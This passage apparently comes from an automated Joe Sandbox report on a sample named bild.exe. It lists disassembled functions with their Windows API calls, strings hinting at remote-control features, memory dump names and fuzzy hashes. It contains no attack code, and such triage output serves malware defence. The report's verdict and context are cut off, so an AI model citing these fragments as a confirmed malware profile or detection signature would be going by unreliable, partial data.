Sleep.KERNEL32(00000032,?,1102A9A3,00000000,?,00000000,000001E8,Bridge,LoadOnStartup,00000000,00000000), ref: 11029212
PostThreadMessageA.USER32(00000000,00000500,00000000,00000000), ref: 11029234
Sleep.KERNEL32(00000032,?,1102A9A3,00000000,?,00000000,000001E8,Bridge,LoadOnStartup,00000000,00000000), ref: 1102923C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: SleepThread$CreateMessagePost
String ID:
API String ID: 3347742789-0
Opcode ID: 7f55f862f45cabdbc49d2828a68d0c06d0eeafcbd3f137c249c1e94448b790d1
Instruction ID: 6c329cfe7713c70c74540dd837a6755ec0a493dd99a0e0f492d5b7c5eaff94cf
Opcode Fuzzy Hash: 7f55f862f45cabdbc49d2828a68d0c06d0eeafcbd3f137c249c1e94448b790d1
Instruction Fuzzy Hash: E831D476D42230ABD602DBDCCC80FAABBA8A755758F914134F9395B6C8D6717805CBD0

Function 110B3230 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000002C,73B292A0,?,?,00000000,00000000,?,Function_00182078,000000FF,?,1103D500,?,?,?,00000000,73B292A0), ref: 110B325F
LeaveCriticalSection.KERNEL32(0000002C,?,1103D500,?,?,?,00000000,73B292A0,?,?,00000000,?,00000015,00000000), ref: 110B329F
SetEvent.KERNEL32(?), ref: 110B331A
LeaveCriticalSection.KERNEL32(0000002C), ref: 110B3321

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: fd4f52dacf6346c68deca50a419aba338554c765379c0af81f02942a775e7cd5
Instruction ID: 1c2cd706bfc580d94f6c8d94d17799be7df3d247d13d912ddb644fcd1bc25a9e
Opcode Fuzzy Hash: fd4f52dacf6346c68deca50a419aba338554c765379c0af81f02942a775e7cd5
Instruction Fuzzy Hash: FC310575A04B059FD315CF69C884B9AFBE4FB4C314F10866EE85AC7750EB34A854CB90

Function 110B3340 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000002C,73B292A0,?,?,00000000,00000000,00000000,Function_00182078,000000FF,?,1103D571,?,73B292A0,?,?,00000000), ref: 110B336F
LeaveCriticalSection.KERNEL32(0000002C,?,1103D571,?,73B292A0,?,?,00000000,?,00000015,00000000), ref: 110B338E
SetEvent.KERNEL32(?,?,?,1103D571,?,73B292A0,?,?,00000000,?,00000015,00000000), ref: 110B33D4
LeaveCriticalSection.KERNEL32(0000002C,?,?,1103D571,?,73B292A0,?,?,00000000,?,00000015,00000000), ref: 110B33DB

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: e042a88a3925eb2d51153c2a6544309ecf0762f38e12571a01f1b65a48f17828
Instruction ID: 2836c68be1e173ca97a40bbc94208784cbdba460b006acea4806f33579668287
Opcode Fuzzy Hash: e042a88a3925eb2d51153c2a6544309ecf0762f38e12571a01f1b65a48f17828
Instruction Fuzzy Hash: 6221DF76A087089FD315CFA8D884B9AF7E8FB4C715F008A2EE816C7640DB79B404CB94

Function 11113240 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 11113252
SetCursor.USER32(00000000,?,?,11120606,00000000,00000000,11124B99,00000000,00000000,00000000,00000000,View,BlankAll,00000000,00000000,00000004), ref: 11113259
DestroyCursor.USER32(?), ref: 11113270
DestroyCursor.USER32(?), ref: 1111327D

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Cursor$Destroy$Load
String ID:
API String ID: 3167891023-0
Opcode ID: cf8b1945f01808845252a66b1172c4e509a608c0218fa3bfec4bfdca6e73ac18
Instruction ID: a2e30b34d5d2f1c91a37dce4984a5637c3bf472293567a6a29e36ae9608199f7
Opcode Fuzzy Hash: cf8b1945f01808845252a66b1172c4e509a608c0218fa3bfec4bfdca6e73ac18
Instruction Fuzzy Hash: 5EE09B7091CB009BDB019B798CCC957F7E8BBD4711B20093DE17EC210CC735A4418B10

Function 110071A5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

CreateWindowExA.USER32(00000000,edit,00000000,40040004,?,?,?,?,?,00000002,00000000,?), ref: 110072F7
SetFocus.USER32(?), ref: 11007353

Strings

edit, xrefs: 110072F1

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CreateFocusWindow_malloc_memsetwsprintf
String ID: edit
API String ID: 1305092643-2167791130
Opcode ID: 9ab5e62bba32fe41a4b3d3dad999fb9395a40b928699cb569382db604b8d03bd
Instruction ID: cb86e9af08271205595a6f41abc8b2cb286fac045a185d6d6013f354b30fec65
Opcode Fuzzy Hash: 9ab5e62bba32fe41a4b3d3dad999fb9395a40b928699cb569382db604b8d03bd
Instruction Fuzzy Hash: 8951B1B6A00606AFE741CF64CC80BABB7E5FB88354F15816DF955C7340EB34E9428B61

Function 110091F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11009265
_memmove.LIBCMT ref: 110092B6

Part of subcall function 11008D50: std::_Xinvalid_argument.LIBCPMT ref: 11008D6A

Strings

string too long, xrefs: 11009260

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 1f1b424e40fb871dbeacd2805d2b31d3ae09b279eb3827a2ae8406d4573c0ed5
Instruction ID: 8571876bfdcccba51c928a6a288fcd5c1e124ad980ef247a8f71a2e078b75a0c
Opcode Fuzzy Hash: 1f1b424e40fb871dbeacd2805d2b31d3ae09b279eb3827a2ae8406d4573c0ed5
Instruction Fuzzy Hash: A731C732B14A104BF720DE9CE88095FF7EDEBE57A4B20061FE599C7640E7719C5083A1

Function 1108F2F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1108F38C
__CxxThrowException@8.LIBCMT ref: 1108F3A1

Strings

L, xrefs: 1108F3D5

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: L
API String ID: 1338273076-2909332022
Opcode ID: 3896e810ab9ec8afa04ae16f69e355a36910fef65e5343e495f94c92c586995c
Instruction ID: a4fae97c5fdb08f5bbe7be2be84186cb3cec15bbd065a55e87689edd9833ea14
Opcode Fuzzy Hash: 3896e810ab9ec8afa04ae16f69e355a36910fef65e5343e495f94c92c586995c
Instruction Fuzzy Hash: E73177B5D04259AFDB10DFA5C880BDEFBF8FB08754F04826DE915A7280D775A904CB51

Function 11041350 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 11041413
__CxxThrowException@8.LIBCMT ref: 11041421

Strings

VolumeControl exception : %hs, xrefs: 11041431

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: VolumeControl exception : %hs
API String ID: 3728558374-910296547
Opcode ID: 118abbde1ebe4424435f64918357d89c4207cb987e7db87aca0e3b34d3970159
Instruction ID: 3351f46422f9e7833a0dd597507e069f064f33e0319a204fc915276dbd9183a5
Opcode Fuzzy Hash: 118abbde1ebe4424435f64918357d89c4207cb987e7db87aca0e3b34d3970159
Instruction Fuzzy Hash: A721E775F006059FCF01CF65C890BFEF7E8EB49609FA085A9E81697A40DB35B904CBA1

Function 1100F260 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1100F27B

Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 111603F8
Part of subcall function 111603E3: __CxxThrowException@8.LIBCMT ref: 1116040D
Part of subcall function 111603E3: std::exception::exception.LIBCMT ref: 1116041E

std::_Xinvalid_argument.LIBCPMT ref: 1100F292

Strings

string too long, xrefs: 1100F276, 1100F28D

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 6b1525799c9edef334f4852062e8405e18519a63a5733119385c965e45330704
Instruction ID: bb54faa7590d99a912cddc2b6cd1eeb78aa94a45d21c5f83dac251cd0972bc34
Opcode Fuzzy Hash: 6b1525799c9edef334f4852062e8405e18519a63a5733119385c965e45330704
Instruction Fuzzy Hash: EE119A377046544FE321D99CE880B6AF7E9EF956A4F20066FE59187650C7A1A84483A2

Function 110B9280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

ShowWindow.USER32(8D111939,00000009,?,?,?,?,?,?,?,?,?,?,110BA3E6,110BFEBC), ref: 110B92CB

Part of subcall function 110B8610: GetSystemMetrics.USER32(0000004C), ref: 110B8642
Part of subcall function 110B8610: GetSystemMetrics.USER32(0000004D), ref: 110B8649
Part of subcall function 110B8610: GetSystemMetrics.USER32(0000004E), ref: 110B8650
Part of subcall function 110B8610: GetSystemMetrics.USER32(0000004F), ref: 110B8657
Part of subcall function 110B8610: SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 110B8666
Part of subcall function 110B8610: GetSystemMetrics.USER32(?), ref: 110B8674
Part of subcall function 110B8610: GetSystemMetrics.USER32(00000001), ref: 110B8683

MoveWindow.USER32(8D111939,?,?,?,?,00000001), ref: 110B92F3

Strings

j CB::OnRemoteSizeRestore(%d, %d, %d, %d), xrefs: 110B930D

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: System$Metrics$Window$InfoMoveParametersShow
String ID: j CB::OnRemoteSizeRestore(%d, %d, %d, %d)
API String ID: 2940908497-693965840
Opcode ID: eeba164e39b9a206ee0bd13021fe79c14c8f790cdcea3297abcc58d2d41d4cb3
Instruction ID: ea8a17caf2cab53e8fa0eb5ee6ebbdabb1f0cf5c0d35e4c5ce58ed4944f537fe
Opcode Fuzzy Hash: eeba164e39b9a206ee0bd13021fe79c14c8f790cdcea3297abcc58d2d41d4cb3
Instruction Fuzzy Hash: FF21EA75B0060AAFDB08DFA8C995DBEF7B5FB88304F104668E51997354DA30BD01CBA4

Function 111471A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 11143C20: GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
Part of subcall function 11143C20: GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Downloads\bild.exe,00000104,?,11143E73,?), ref: 11143C49

_memmove.LIBCMT ref: 11147211

Strings

Failed to get callstack, xrefs: 111471BD

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess_memmove
String ID: Failed to get callstack
API String ID: 4135527288-766476014
Opcode ID: 63529710b4138f6f81ad4f3080514690bdb2b876b6fb0115b81c75db0389a908
Instruction ID: 4fb2fbc616631b5574b6180649b942946bf04768c5170edb731833e4cde01d29
Opcode Fuzzy Hash: 63529710b4138f6f81ad4f3080514690bdb2b876b6fb0115b81c75db0389a908
Instruction Fuzzy Hash: D3219875A0011D9BCB14DF64DD94BAEB3B9EF8871CF1041AAEC0DA7240DB31AE54CB90

Function 110ED250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(00020019,?,00000000,73B292A0,00000000,00020019,?,00000000), ref: 110ED280

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

Error %d getting %s, xrefs: 110ED294
(, xrefs: 110ED279

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: QueryValuewvsprintf
String ID: ($Error %d getting %s
API String ID: 141982866-3697087921
Opcode ID: ef2d7f3509dbd67b9f71e6e81423e7131c7de3edf52ba7e7570321b23b06e68c
Instruction ID: 38ad67af7cf9c35c8db4f97e6700948d2d14c8bc089a0f5a48db9c7a16624884
Opcode Fuzzy Hash: ef2d7f3509dbd67b9f71e6e81423e7131c7de3edf52ba7e7570321b23b06e68c
Instruction Fuzzy Hash: 7011A372E01118AFDB00DEA9DD45DEFB3B8EB94225F00816EF81597140DA71E914C761

Function 110D12F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

